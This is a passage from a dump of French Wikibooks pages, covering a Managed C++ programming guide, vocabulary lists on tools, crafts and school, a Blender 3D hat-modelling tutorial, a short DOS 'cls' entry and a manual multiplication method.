nécessaire de mettre à '''True''' l'option de '''Debugage mixte''' dans les propriétés du projet. Si ce n'est pas le cas, le débugueur ''étape par étape'' n'entrera pas dans une fonction non managée et passera directement à l'instruction suivante. == Bibliothèque Runtime et Erreur LNK2005 == L' '''erreur LNK2005''' peut survenir à l'édition de lien. Le premier réflexe est de vérifier que l'option '''Bibliothèque Runtime''' est bien à la même valeur que le projet que vous avez intégré comme référence (managée ou non). Si l'erreur persiste alors que cette option correspond bien avec les autres projets, alors consultez la MSDN qui propose un listing des éléments à vérifier. == Configuration classique - Les dépendances == Ne jamais oublier d'ajouter les '''répertoires de bibliothèques supplémentaires''' ainsi que les '''dépendances''' dont vous avez besoin. On y pense moins quand on compile un autre projet que le sien. == Configuration classique - Les variables de configuration == Les variables '''$IntDir''', '''$OutDir''', '''$SolutionDir''', '''$TargetPath''' (et autres) contenant les chemins utiles à la compilation sont initialisés automatiquement lorsque les champs correspondants ("Répertoire de sortie", etc..) sont remplis dans la fenêtre de configuration du projet. Le piège est que le nom de la variable n'y figure pas, seule est affichée la traduction en français (selon votre version de Visual Studio). = Les préférences générales de Visual Studio = == Les répertoires == Si des dépendances sont communes à tous vos projets vous pouvez inclure leurs chemins dans les '''préférences''' de Visual Studio. Si vous compilez des projets dont vous n'êtes pas l'auteur, ce point peut avoir été oublié.- Managed C Plus Plus Guide : Chapitre 2 Programmation 5406 32987 2006-02-15T21:06:34Z 81.56.174.249 /* L'absence des char* */ __NOTOC__ <!-- = La programmation en C++ Managé = --> {| align="center" border="0" width="100%" | bgcolor="#959595" align="center" colspan="2" | Guide de Programmation en C++ Managé <br> '''Chapitre 2 : Programmation en C++ Managé''' |- | style="background-color:#B0D0F0" width="50%" align="left" |[[Managed C Plus Plus Guide : Chapitre 1 Configuration |<< Chapitre 1 : Configuration de Visual Studio .NET]] | style="background-color:#B0D0F0" width="50%" align="right" | [[Managed C Plus Plus Guide| retour au sommaire >>]] |} __TOC__ = L'absence des char* = Les chaînes de caratères sont très utilisées en C++, mais inexistantes en .NET. Il existe pour cela la '''classe String''', qui doit remplacer l'utilisation des '''char*'''. Des méthodes de conversion de l'un à l'autre sont donc disponibles, notamment grâce à la '''classe Marshal'''. Ces méthodes étant abstraites, leur appel est assez pénible à taper et surtout peu lisible, surtout si la tâche est très répétitive. Les paragraphes suivants proposeront donc de créer des MACROS pour rendre votre code bien plus lisible. On notera que cela n'est faisable qu'en MC++, et pas en C# car ce dernier langage est dépourvu de macro. (en C# la classe Marshal est bien sur toujours utilisable). == Conversion des char* en String* == La méthode statique '''PtrToStringAnsi''' de la classe '''Marshal''' va réaliser la conversion d'un '''char *''' en '''String *'''. Le code suivant en est un exemple, (la valeur 256 correspond à la taille maximale de votre chaîne initiale, vous pouvez modifier ce paramètre): <pre> using namespace System::Runtime::InteropServices; char* ch_1 = "Hello World !"; String* ch_2 = Marshal::PtrToStringAnsi(IntPtr((void*) ch_1 ) , 256); </pre> Il est fortement conseillé de créer une Macro dans un fichier ''header'': <pre> #define CONVERT2STRING(x) Marshal::PtrToStringAnsi(IntPtr((void*) x ),256) </pre> Ainsi l'utilisation de la classe '''Marshal''' est simplifiée <pre> using namespace System::Runtime::InteropServices; char* ch_1 = "Hello World !"; String* ch_2 = CONVERT2STRING(ch_1); </pre> == Conversion des String* en char* == De même, La méthode statique '''StringToHGlobalAnsi''' de la classe '''Marshal''' va réaliser la conversion d'un '''String *''' en '''char *'''. Cet appel '''nécessite une libération en utilisant la méthode''' ''FreeHGlobal''. <pre> using namespace System::Runtime::InteropServices; String* s = new String("hello, World"); const char* temp = (const char*)(Marshal::StringToHGlobalAnsi(s).ToPointer()); ... Marshal::FreeHGlobal(IntPtr((void*)temp)); </pre> De la même façon que précédemment, on pourra créer des macros: <pre> // creation #define CONVERT2CHAR(x) (char*)(Marshal::StringToHGlobalAnsi(x).ToPointer()) // libération #define FREECHAR(x) Marshal::FreeHGlobal(IntPtr((void*) x )); </pre> et les utiliser ainsi: <pre> using namespace System::Runtime::InterropServices; String* ch_1; // allocation en mémoire char* ch_2 = CONVERT2CHAR(ch_1); ... // désallocation FREECHAR(ch_2); </pre> = Les structures de données managées ou non = Les structures '''non managées''' sont du domaine du C++ classique, donc sans plate-forme .NET, et donc inaccessibles à partir de classes C#. Les structures '''managées''', quant à elles, sont des éléments qui pourront être accessibles. Le C++ Managé permet une utilisation des deux types de structures de données. Il est donc nécessaire dans ce langage de déclarer explicitement qui est managé et qui ne l'est pas, grâce aux mots-clé '''__gc''' et '''__nogc'''. == Déclarer une classe __gc ou __nogc == Une classe managée sera déclarée ainsi: <pre> public __gc class MaClasseManagee { ... } </pre> De même pour une classe non managée: <pre> public __nogc class MaClasseNonManagee { ... } </pre> == Déclarer un enum __gc ou ___nogc == De la même manière on déclare un type énuméré avec '''__gc pour managé''' et '''__nogc pour non managé''': <pre> public __gc enum Couleur = { ROUGE, ORANGE, VERT }; </pre> == Déclarer un tableau __gc ou __nogc == De la même manière on déclare un tableau avec '''__gc pour managé''' et '''__nogc pour non managé''': <pre> public String __gc[3] CouleursList = { "Rouge", "Orange", "Vert" }; </pre> = Les librairies managées ou non = == L'ordre d'inclusion des librairies == Quelques ambiguïtés malheureuses peuvent apparaître si le principe suivant n'est pas respecté: '''l'inclusion des fichiers header non managés est PRIORITAIRE''' Sinon vous risquez de voir apparaître des erreurs au milieu de fichiers sources inconnus, dont la signification est incohérente. Par exemple, un cas récurrent comme l'inclusion de "window.h" peut poser ce genre de problème. Pour éclaircir votre code et éviter cette erreur, il est conseillé de créer un fichier header uniquement dédié à réaliser les inclusions dans le bon ordre. Par exemple: <pre> // inclusion_propre.h #pragma once // inclusions non managées #include <cstring> #include "la_vieille_bibliothèque.h" // inclusions d'espaces de nom .NET using System::Text; using System::Runtime::InteopServices; // inclusion de fichier Headers Managés #include "mes_types_manage.h" #include "mes_constantes.h" </pre> Ainsi chaque fichier .cpp pourra inclure '''uniquement''' ce dernier fichier header, à condition que celui-ci soit toujours mis-à-jour. Exemple: <pre> // .cpp #include "inclusion_propre.h" MaClasseManagee::FonctionTresUtile() { ... } </pre> Pour plus d'information à propos de cette bizarrerie, voir le [http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vcmxspec/html/vcmg_AmbiguousReferences.asp| document correspondant dans la MSDN] Vocabulaire / Activités & ustensiles 5409 24261 2005-10-25T19:01:32Z Oui 428 == prendre== (V001) *1 saisir *2 porter *3 supporter *4 suspendre *5 mettre *6 '''poser''' *7 position *8 être allongé *9 ramper *10 agenouiller [s'~] *11 être assis *12 être debout *13 sauter *14 aller *15 courir *16 '''mouvoir''' *17 courber *18 incliner *19 fléchir *20 plier *21 tourner *22 virer *23 mesurer *24 peser *25 repartir *26 distribuer *27 retirer *28 voler *29 abîmer *30 casser == machine== (V001) *1 appareil *2 mécanisme *3 équipement *4 outil *5 manche *7 '''tremper''' *8 forger *9 plate *6 acier *10 ronde *11 triangulaire *12 aigu *13 tranchant *14 émoussé *15 grossier *16 fin *17 neuf *18 '''user''' *19 consommer *20 manuel *21 électrique *22 motorisé *23 à air comprimé *24 hydraulique *25 à vapeur == prendre en charge== (V001) *1 '''tenir''' *2 lâcher *3 pince *4 tenaille *5 pince blocable *6 pincette *7 pince-étau *8 étau *9 bec [de pince] *10 lisse *11 rainuré *12 plat *13 incliné *14 arrondi *15 pince de plombier *16 '''sectionner''' *17 pince coupante frontale *18 pince coupante latérale *19 '''serrer''' *20 dévisser *21 clef *22 clef à molette *23 clef plate *24 clef à anneau *25 clef à pipe *26 clef à cliquet *27 embout [de clef] *28 embout-clef *29 embout tourne-vis *30 jeu de clefs *31 boîte à clef à cliquet == préparer== (V001) *1 '''couper''' *2 ciseler, entailler *3 tailler *4 tranchant *5 couteau *6 couteau pliant *7 ciseaux *8 ciseaux pour papier *9 ciseaux de couturière *10 cisaille *11 cisaille forte *12 sécateur *13 sécateur pour haie *14 cisaille de jardin *15 '''scier''' *16 scie *17 scie égoïne *18 scie circulaire *19 scie sauteuse *20 scie à ruban *21 scie crocodile *22 scie à chaîne *23 scie à métaux *24 scie à bois *25 lame de scie *26 type de dents == transformer== (V001) *1 '''raboter''' *2 rabot *3 rabot d'épaisseur *4 copeaux *5 sens de la fibre *6 '''râper''' *7 râpe *8 limer *9 lime *10 '''forer''' *11 perceuse *12 perceuse à arc *13 perceuse à tige spirale *14 mâchoires pour foret *15 foret *16 foret à queue plate *17 foret à spirale *18 pointe *19 acier trempé *20 rajoutée en métal dur *21 '''fileter''' *22 filière *23 taraud *24 porte-outil *25 '''défoncer''' *26 défonceuse mobile *27 défonceuse, toupie *28 fraise *29 rainure *30 languette *31 '''graver''' *32 graveuse *33 stylet *34 tourner *35 tournage *36 '''plier''' *37 courber *38 border *39 marteler == assembler== (V001) *1 coudre *2 agrafer *3 '''river''' *4 rivet *5 '''tourne-vis''' *6 tourne-vis à embout *7 embout tourne-vis *8 vis à fente *9 vis cruciforme *10 vis imbus *11 vis tête plate *12 vis tête demi-ronde *13 vis tête hexagonale *14 vis tête cylindrique *15 vis à bois *16 vis à métaux *17 écrou *18 écrou-chapeau *19 écrou à ailettes *20 écrou auto-bloquant *21 vis en acier *22 vis galvanisée *23 pas *24 '''coller''' *25 décoller *26 colle *27 colle transparent *28 colle rapide *29 silicone *30 gomme *31 caséine *32 gluten *33 colle de peau *34 bain-marie *35 goudron *36 '''brasser''' *37 souder *38 arc *39 autogène *40 zinc *41 étain *42 argent *43 fer à souder *44 lampe à souder *45 brûleur == finir== (V001) *1 '''dégraisser''' *2 essuyer *3 solvant *4 alcool *5 essence *6 '''enduire''' *7 remplir *8 égaliser *9 sillon-joint *10 spatule *11 enduit (en pâte) *12 spatule dentée *13 truelle *14 bassine *15 grattoir *16 éponge abrasive *17 barre *18 '''brosser''' *19 brosse *20 brosse métallique *21 brosse en fils d'acier *22 brosse en fils de bronze *23 '''poncer''' *24 corindon *25 tampon à récurer *26 émeri *27 toile émeri *28 papier émeri *29 '''teindre''' *30 teinture *31 encre *32 imprégner *33 '''peindre''' *34 enduire *35 pinceau *36 pistolet *37 peinture, vernis *38 couche de base *39 anti-rouille *40 enduit d'adhésion *41 enduit étanche *42 vernis *43 enduit de protection *44 couche de protection *45 '''polir''' *46 pâte à polir *47 ouate à polir *48 chiffon pour polir == poser, installer== (V001) *1 cheville murale *2 cheville d'ancrage *3 cheville d'assemblage *4 bois [en ~] *5 polyamide *6 fibre [en ~] *7 '''brouette''' *9 voiture à bras *10 chariot élévateur *11 grue *12 échelle *13 échafaudage *14 moyens de protection == agriculture== (V001) *1 déboiser *2 défricher *3 épandre *4 enfouir *5 fumier *6 engrais vert *7 engrais *8 '''labourer''' *9 retourner *10 charrue *11 bêcher *12 bêche *13 raie *14 bœuf *15 atteler *16 tracteur *17 biner *18 houe *19 binette *20 '''râteler''' *21 râteau *22 herser *23 herse *24 aplanir *25 rouleau *26 sarcler *27 sarcloir *28 '''semer''' *29 ensemencer *30 semence *31 semeuse *32 désherber *33 traiter *34 pesticide *35 insecticide *36 fongicide *37 microbicide *38 bactéricide *39 virus *40 '''arroser''' *41 irriguer *42 adduction d'eau *43 alimentation en eau *44 aqueduc *45 pilotis *45 phase de croissance *46 '''récolter''' *47 moissonner *48 élaguer *49 abattre *50 faux *51 faucille *52 moissonneuse *53 battre *54 moissonneuse batteuse *55 moissonneuse frontale, tondeuse frontale *56 tondeuse à gazon *57 scie à chaîne *58 cisaille *56 sécateur *57 greffer *58 lier *59 cire *60 '''stocker''' *61 distiller *62 alambic *63 battre *64 sécher *65 aire de séchage *66 emballer *67 remplir *68 sac *69 cuve *70 caisse *71 bouteille, bombonne *72 entonnoir *73 fermenter (laisser ~) *74 clarifier *75 chaux *76 stériliser *77 soufre *78 boucher *79 bouchon == élever== (V001) *1 élevage *2 alimenter *3 gaver *4 auge *5 râtelier *6 abreuver *7 abreuvoir *8 tétine *9 récipient *10 garder *11 rassembler *12 accompagner *13 nettoyer *14 brosser *15 inspecter *16 chercher *17 litière *18 paille *19 '''enclore''' *20 clôture *21 piocher *22 pioche *23 poteau *24 berger *25 chien *26 ferrer *27 fer *28 forger *29 charbon incandescent *30 marteau *31 pince *32 tenaille *33 '''traiter''' *34 vacciner *35 tatouer *36 baigner *37 cure *38 vermifuge *39 castrer *40 date de saillie *41 '''traire''' *42 enfumer *43 centrifuger *44 filtrer *45 refroidir *46 poste de traite *47 ruche *48 combinaison d'apiculteur *49 enchaîner *50 chaîne *51 corde *52 mors *53 selle *54 courroie *55 vétérinaire *56 rage *57 tondre == art artisanal== (V001) *1 textile *2 rouir *3 carder *4 carde *5 '''filer''' *6 quenouille *7 rouet *8 bobiner *9 bobine *10 non lavé *11 lavé *12 tricoter *13 aiguille à tricoter *14 crochet *15 métier à tricoter *16 métier chaîne *17 ourdir *18 encoller *19 '''tisser''' *20 métier à tisser *21 trame *22 chaîne *23 navette *24 duite *25 armure *26 peigne *27 bobine de tissu *28 teindre *29 pigment *30 tailler *31 coudre *32 machine à coudre *33 aiguille à coudre *34 dé à coudre *35 patron *36 étoffe *37 fil *38 pédale *39 '''broder''' *40 ressemeler *41 recoudre *42 semelle *43 talon *44 tresser *45 tremper (laisser ~) *46 vannerie *47 brin *48 osier, rotin, jonc *49 corbeille *50 meuble en rotin *51 '''former''' *52 mouler *53 fondre *54 sculpter *55 argile *56 glaise *57 plâtre *58 papier mâché *59 bronze *60 carreler *61 mosaïque *62 colle *63 liant pour les joints *64 souffler *65 verre *66 diamant == déblayer== (V001) *1 restaurer *2 débarrasser *3 pelle *4 bac, container *5 décharge *6 déchetterie == autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_T%C3%A4tigkeiten_%26_Instrumente allemand] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Activit%C3%A1s_de_base interlingue (ex occidental)] - Apprentissage du roller 5410 22201 2005-09-27T11:20:11Z Greudin 1 [[Apprentissage du roller]] déplacé vers [[Apprentissage du patin en ligne]]: titre fr #redirect [[Apprentissage du patin en ligne]] Sport 5413 43689 2006-06-01T10:19:42Z 192.90.70.21 Les wikilivres ayant pour thème le '''sport''' sont catalogués ici. * [[Equitation]] [[Image:25%.png]] === Patinage === * [[Apprentissage_du_patin_en_ligne|Apprentissage du patin en ligne]] * [[Matériel]] [[Image:25%.png]] === Escalade === * [[Escalade Historique|Historique]] [[Image:25%.png]] * [[Escalade Terrains|Terrains]] [[Image:25%.png]] * [[Escalade Technique|Technique]] [[Image:25%.png]] * [[Escalade Matériel|Matériel]] [[Image:25%.png]] === [[Unicyclisme]] === * [[Unicyclisme|L'apprentissage]] [[Image:25%.png]] [[catégorie:sport]] Brevet informatique et internet 5426 24523 2005-10-28T21:51:09Z Greudin 1 /* Culture informatique */ progression [[Image:Gnome-mime-text-x-copying.png|right]] Le '''[[w:brevet informatique et internet|brevet informatique et internet]]''' (également appelé '''B2i''') est, en [[w:France|France]] une attestation délivrée aux élèves des [[w:école élémentaire en France|écoles élémentaires]], des [[w:collège en France|collèges]] et des [[w:lycée en France|lycées]] pour leur capacité à utiliser les [[w:informatique|outils informatiques]] et [[w:Internet|Internet]]. Ce wikilivre a pour but de proposer des cours de préparation à l'évaluation B2i du point de vue élève et aussi du point de vue professeur. ==Brevet informatique et internet école (niveau 1)== ==Brevet informatique et internet collège (niveau 2)== ===Culture informatique=== *Activités d'apprentissage **[[Image:Crystal kcmsystem.png|35px]][[B2i niveau 2 : culture informatique]] [[Image:1von10.png]] *Évaluations **[[Image:Crystal kate.png|35px]][[B2i niveau 2 : culture informatique/évaluation]] [[Image:5von10.png]] **[[Image:Crystal kedit.png|35px]][[B2i niveau 2 : culture informatique/correction]] [[Image:5von10.png]] ===Organiser des traitements numériques à l'aide d'un tableur=== ===Produire, créer et exploiter un document=== ===S'informer et se documenter=== ===Organiser des informations=== ===Communiquer au moyen d'une messagerie électronique=== Image:Blender3D subsurf buttons.png 5428 22271 2005-09-28T04:42:13Z Kanzaki 597 Image:Simple person.png 5429 22273 2005-09-28T04:51:13Z Kanzaki 597 Image:Blender3DNoobToPro-SimpleHat-SelectModes.png 5430 22275 2005-09-28T05:19:57Z Kanzaki 597 3ième conjugaison - uscire (sortir) 5433 22286 2005-09-28T17:30:45Z 83.113.168.2 esco esci esce usciamo uscite escono Image:Blender3D Scaled Armtips.png 5434 22289 2005-09-28T19:13:53Z Kanzaki 597 Image:LimitSelectionToVisible.png 5435 22290 2005-09-28T19:19:29Z Kanzaki 597 Image:Blender3D Global Axis X Z.png 5436 22292 2005-09-28T19:26:24Z Kanzaki 597 Image:Blender3D Global Axis y Z.png 5437 22293 2005-09-28T19:32:39Z Kanzaki 597 Image:Capture3.jpg 5438 22295 2005-09-28T19:40:35Z Kanzaki 597 Image:DarkShot 0013.jpg 5439 22313 2005-09-28T22:42:44Z Kanzaki 597 Image:Arm-hole.jpg 5440 22314 2005-09-28T22:43:30Z Kanzaki 597 Image:Extruding again m.jpg 5441 22315 2005-09-28T22:47:21Z Kanzaki 597 Image:Giving a face again m.jpg 5442 22316 2005-09-28T22:50:58Z Kanzaki 597 Image:Smoothing again m.jpg 5443 22317 2005-09-28T22:53:40Z Kanzaki 597 Image:Handsup.JPG 5444 22318 2005-09-28T22:55:10Z Kanzaki 597 Image:Feet-1.jpg 5445 22320 2005-09-28T23:24:48Z Kanzaki 597 Image:Feet-2.jpg 5446 22321 2005-09-28T23:25:07Z Kanzaki 597 Image:Feet-3.jpg 5447 22322 2005-09-28T23:25:19Z Kanzaki 597 Image:Feet-4.jpg 5448 22323 2005-09-28T23:25:32Z Kanzaki 597 Image:Feet-5.jpg 5449 22324 2005-09-28T23:25:45Z Kanzaki 597 Image:WIKI-HEAD.jpg 5450 22326 2005-09-28T23:31:19Z Kanzaki 597 Blender 3D: du débutant au pro/Créer un chapeau simple 5451 40904 2006-04-25T12:30:06Z 81.251.116.197 /* Supprimer une sélection */ ''Sommaire : [[Blender3D]]''<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Placer le chapeau sur le personnage |Placer le chapeau sur le personnage ]]''<br /> <small>''Page précédente : [[Blender 3D: du débutant au pro/Détailler votre personnage simple 2|Détailler votre personnage simple II]]''</small> Ce didacticiel utilise le modèle de personnage simple à partir du didacticiel précédent. Si vous ne l'avez pas fait, [[Blender 3D: du débutant au pro/Détailler votre personnage simple 2|retournez et faites-le maintenant]]. ==Ajouter un objet== [[Image:Blender3DNoobToPro-SimpleHat-Circle.png|right]] La première étape pour créer un chapeau est de faire un simple cercle. Pressez '''NUM3''' pour obtenir une vue de coté du modèle. Déplacez la vue avec '''SHIFT+MMB''' jusqu'à ce que votre vue soit à une bonne distance au-dessus de la tête du personnage. Nous allons ajouter le chapeau en tant qu'objet séparé, donc si vous êtes en Edit Mode, pressez la touche '''TAB''' pour passer en Objet Mode. Cliquez '''LMB''' au centre de la vue pour placer le curseur 3D (vous pouvez employer '''SHIFT+S''' et '''curseur-> grille''' pour ajuster le curseur sur la grille après placement), après cela, appuyez sur '''SPACE > Add > Mesh > Circle''', avec 12 sommets. (Dans la dernière version la valeur par défaut est 32 sommets mais vous pouvez employer la flèche pour la placer de nouveau à 12 [ cliquez et déplacez à gauche ou à droite pour changer la valeur]) Après avoir ajouter le cercle, vous serez automatiquement placé en Edit Mode. Le résultat final devrait donner quelque chose de semblable à l'image. <div style="clear: both;"> </div> ==Supprimer une sélection== [[Image:Blender3DNoobToPro-SimpleHat-ThreeFacesSelected.png|right]] Tout d'abord, desélectionez tous les sommets (vertices) en appuyant '''AKEY'''. Tous les sommets du cercle devraient désormais être rose (si en mode Vertices Select), ce qui signifie qu'ils sont deselectionnés. Passez en mode '''Edge Select''' ('''CTRL+TAB'''). Le cercle devrait maintenant être coloré en noir. Maintenant, sélectionnez trois arêtes tel que montré ci-contre . Supprimez les en pressant '''XKEY > Edges''' <div style="clear: both;"> </div> ==Créer le profil du chapeau== [[Image:Blender3DNoobToPro-SimpleHat-Profile.png|right]] Maintenant, repassez en mode '''Vertex Select'''(CTRL+TAB), et essayez de faire une ligne qui ressemble à peu près à ce qui est montré à droite. Pour faire cela, vous devez utiliser : * '''AKEY''' pour sélectionner/désélectionner tous les sommets * '''RMB''' pour sélectionner/désélectionner un sommet * '''SHIFT+RMB''' pour sélectionner/désélectionner plusieurs sommets, ou '''BKEY''' pour l'outil de fenêtre de sélection * '''GKEY''' pour déplacer une sélection <div style="clear: both;"> </div> ==Rotation du chapeau== Sélectionnez le dernier sommet en haut à droite. Employez '''LMB''' pour déplacer le curseur 3D à l'extrémité de la ligne, comme montré dans l'image ci-dessus. Passez en vue de face avec '''NUM1''', et assurez-vous que le curseur 3D apparaît toujours à l'extrémité de la ligne (sinon, cliquez là avec '''LMB'''). Une autre solution est de sélectionner le dernier somment de la ligne, pressez '''SHIFT+SKEY''' pour faire apparaêtre le menu Snap et choisir '''Cursor -> Selection'''. Cela aura pour effet de placer le curseur à la position 3D exacte sommet sélectionné. [[Image:Blender3DNoobToPro-SimpleHat-HatSpun.png|right]] Ensuite nous employons la commande Spin. Passez en vue de dessus avec '''NUM7''', utilisez un ou deux fois '''AKEY''' pour sélectionner tous les sommets, et cliquer sur le bouton d'édition (raccourci '''F9''', Apple F9 pour les ordinateur portatif) (NOTE : Sur certaines versions ces options ne sont pas dans une fenêtre séparée mais simplement dans le panneau Mesh Tools). Dans le panneau Mesh Tools,dans le groupe de boutons qui contient également le panneau que vous avez utilisé pour lisser le personnage un peu plus tôt (le panneau Mesh Tools est seulement visible en Edit Mode), sous les boutons Screw, Spin et Spin Dup, réglez le degré de rotation (Degr :) à 360, le pas (Step) à 12, et le nombre de tours (Turns) à 1. Ensuite appuyer sur '''Spin'''. Vous verrez quelque chose se produire. Que s'est-il passé? Blender a pris la courbe sélectionnée et la fait tourner autour du curseur 3D, sur 360 degrés en douze étapes, créant ainsi une surface (il emploie le point de vue que vous regardez). <div style="clear: both;"> </div> ==touches finales== [[Image:Blender3DNoobToPro-SimpleHat-HatExtrude.png|right]] Desélectionnez tous avec '''AKEY''', passez en vue de dessus avec '''NUM7'''. Utilisez le mode '''Edge select'''('''CTRL+TAB '''), puis cliquez sur les quatre arêtes les plus en avant du chapeau avec '''RMB'''(pour la première) et '''Shift+RMB '''(pour les suivantes) pour les sélectionner. Passez en vue de face avec '''NUM1'''('''NUM7''')*. Pressez '''EKEY > région ''' pour extruder les arêtes, et déplacez les vers le bas. Vous pouvez pressez '''ZKEY'''('''YKEY''')* pour limiter l'extrusion à une direction. * '''* '''vous devez être en vue de dessus pendant l'extrusion de sorte que la visière du chapeau se déplace vers l'avant et non pas vers le bas, comme si elle avait été faite à partir de la vue de dessus. Maintenant, il est temps de lisser tout ça (subsurf). Dans les boutons d'édition, sous le panneau Mesh, cliquez sur SubSurf et fixez Subdiv à 2 ou à 3. Si vous utilisez une version récente tel que Blender 2.4, il vous faudra probablement aller dans '''Modifiers->Add Modifier->Subsurf'''. Tournez la vue et vous remarquerez que votre chapeau a "une séparation à la jointure". En raison des réglages que nous avons choisi pour la rotation, plusieurs paires de sommets partagent exactement la même position dans l'espace 3D. Pour corriger ce problème, passez en "edit mode" et appuyez sur '''AKEY''' pour sélectionner tous les sommets et cliquez ensuite sur '''WKEY > Remove Doubles'''. Maintenant toutes nos jointures apparaissent correctement, et vous avez enlevé les sommets superposés inutiles dans le maillage de votre chapeau. Héhé! Vous avez maintenant un bel abat-jour ! [[Image:Wiki-hat.jpg]] Conservez ce fichier chapeau simple/personnage simple ouvert parce que vous allez l'utiliser dans le prochain didacticiel. ''Sommaire : [[Blender3D]]''<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Placer le chapeau sur le personnage |Placer le chapeau sur le personnage ]]''<br /> <small>''Page précédente : [[Blender 3D: du débutant au pro/Détailler votre personnage simple 2|Détailler votre personnage simple II]]''</small> [[Category:Blender]] Image:Blender3DNoobToPro-SimpleHat-Circle.png 5452 22333 2005-09-29T01:02:39Z Kanzaki 597 Image:Blender3DNoobToPro-SimpleHat-ThreeFacesSelected.png 5453 22337 2005-09-29T01:55:32Z Kanzaki 597 Image:Blender3DNoobToPro-SimpleHat-Profile.png 5454 22338 2005-09-29T02:21:44Z Kanzaki 597 Image:Blender3DNoobToPro-SimpleHat-HatSpun.png 5455 22339 2005-09-29T02:22:19Z Kanzaki 597 Image:Blender3DNoobToPro-SimpleHat-HatExtrude.png 5456 22342 2005-09-29T02:45:22Z Kanzaki 597 Image:Wiki-hat.jpg 5457 22343 2005-09-29T02:45:58Z Kanzaki 597 Blender 3D: du débutant au pro/Placer le chapeau sur le personnage 5458 24367 2005-10-27T12:40:58Z 82.249.124.250 correction et traduction du paragraphe suivant ''Sommaire : [[Blender3D]]''<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Montagnes de Molehills|Montagnes de Molehills]]''<br /> <small>''Page précédente : [[Blender 3D: du débutant au pro/Créer un chapeau simple |Créer un chapeau simple ]]''</small> Ce didacticiel utilise le modèle de personnage simple à partir du didacticiel précédent. Si vous ne l'avez pas fait, [[Blender 3D: du débutant au pro/Créer un chapeau simple|retournez en arrière et faites le maintenant]]. ==Rotation== D'abord, changez la rotation de l'objet. Pour changer la rotation du chapeau, appuyez sur '''RKEY'''. Maintenant vous pouvez déplacer votre souris autour pour changer sa rotation. Elle tournera sur un axe différent en fonction de la vue à partir de laquelle vous effectuez la rotation. L'axe de rotation est toujours perpendiculaire à votre point de vue, ainsi ça ressemble à faire tourner une image à deux dimensions. appuyez sur '''RMB''', ou '''ESC''', pour revenir à la position originale. Quand vous appuyez sur '''RKEY''', vous entrez dans un mode rotation qui peut être alteré par d'autres raccourcis clavier. Par exemple, appuyez sur '''YKEY''' après '''RKEY''' fera tourner le chapeau autour de l'axe Y. Appuyer sur '''ZKEY''' le fera tourner autour de l'axe Z, et il en va de même pour '''XKEY'''. En appuyant les touches Z,Y, ou X une seule fois, vous ferez tourner l'objet en relation à la scène. Si vous appuyez 2 fois sur la même touche, l'objet tournera en relation avec ses origines, vous donnant un pointeur flêché XYZ qui affiche l'angle d'origine. Cls (DOS) 5459 31102 2006-02-01T10:17:35Z Guillaumito 46 cat ==Introduction== Commande interne DOS, elle premet d'effacer l'écran de l'interpreteur de commande. ==Utilisation== '''Cls''' Exemple: '' '''c:\'''cls'' Note: Aucune option n'est rattaché a cette commande [[Catégorie:DOS]] Faire une multiplication à la main 5460 41044 2006-04-27T17:27:35Z 82.254.223.151 /* Conclusion */ == Méthode Russe == '''Exemple : calculons 123*234.''' De tête, cela est bien entendu impossible. En décomposant un des facteurs en puissances de 10, cela est très laborieux. Voici une méthode simple à mettre en œuvre, une fois comprise : === Poser la multiplication === 123 * 234 ------ = 272 === On cache les valeurs à gauche et on multiplie === ||3 * ||4 ------ = ....2 Ça fait 3*4 = 12. On marque 2 et on retient 1. === On tire le cache vers la droite === |23 * |34 ------ = ...82 On fait la somme des produits en croix : 3*3 + 4*2, auquel on rajoute la retenue : cela fait 9 + 8 + 1 = 18, on marque 8 et on retient 1. === On re-tire le cache vers la droite === 123 * 234 ------ = ..782 On fait la somme des produits en croix : 1*4 + 2*3 + 2*3, auquel on rajoute la retenue : cela fait 4 + 6 + 6 + 1 = 17, on marque 7 et on retient 1. === On cache les valeurs à droite === 12| * 23| ------ = .8782 On fait encore la somme des produits en croix : 1*3 + 2*2, auquel on ajoute encore la retenue : cela fait 3 + 4 + 1 = 8, on marque 8. === On tire le cache vers la droite === 1|| * 2|| ------ = 28782 Et là on rajoute 2*1 = 2, soit 123*234 = 28782. === Conclusion === Cette méthode permet de faire des multiplications sans calculatrice. Cela marche avec des valeurs plus grandes ou plus petites. Pour faire 2451*26, on pose : 2451 * 26 ------- = ...... Et on applique la méthode,... 2451 * 0026 ------- = 63726 Vocabulaire / École et apprendre 5464 22741 2005-10-09T17:28:28Z Oui 428 /* autres langues: */ == crèche== (V001) *1 diurne *2 du matin *3 d'après-midi *4 vespéral *5 nocturne *6 continue *7 restauration *8 puéricultrice *9 nourrice *10 nurse == jardin d'enfant== (V001) *1 occuper *2 jeu *3 chant *4 danse *5 peindre *6 histoire *7 balle *8 prier *9 groupe *10 extérieur *11 abris *12 sable *13 sol en plaques de caoutchouc *14 salle == école maternelle== (V001) *1 maître(sse) *2 élève *3 table jumelle *4 table individuelle *5 table de groupe *6 tableau *7 craie *8 éponge *9 chiffon *10 critique *11 compliment *14 éloge *15 bon point == école primaire== (V001) *1 matière *2 emploi du temps *3 classe *4 redoubler *5 sauter une classe *6 résultat *7 note *8 appréciation *9 relevé des notes *10 certificat de fin de scolarité *11 carte (d'identité) scolaire *12 dispense *13 attestation de maladie *14 tenue *15 tenue réglementaire *16 affaires de sport *17 sac d'école *18 sac à dos *19 sac de gymnastique *20 étui à fournitures *21 crayon, stylo, feutre *22 règle *23 gomme *24 ciseaux *25 équerre *26 compas *27 pinceau *28 peinture gouache *29 gobelet *30 livre scolaire *31 bureau de l'instituteur *32 podium *33 case *34 pare-soleil *35 horloge murale *36 sonnerie *37 registre de présence *38 chef d'établissement *39 pause *40 récréation *41 inspection *42 composition *43 prix *44 remise des prix *45 fête sportive *46 fête d'établissement *47 excursion scolaire *48 concours *49 groupe d'activité (facultative) *50 public *51 privé *52 laïque *53 confessionnel *54 vacances *55 soirée parentale *56 délégué des parents *57 heure de rendez-vous parental *58 cahier de communication *59 terrain de sport *60 cours de récréations *61 concierge *62 bâtiment scolaire == collège== (V001) *1 section *2 échange scolaire *3 élève hôte *6 partenaire de correspondance *7 semi-pension *8 pensionnat *9 réfectoire *10 dortoir *11 délégué de classe *12 enseignant parrain de classe *13 salle de chimie *14 salle de musique *15 salle de fêtes *16 amphithéâtre == lycée== (V001) *1 cours *2 heure *3 heure double *4 heure libre *5 heure 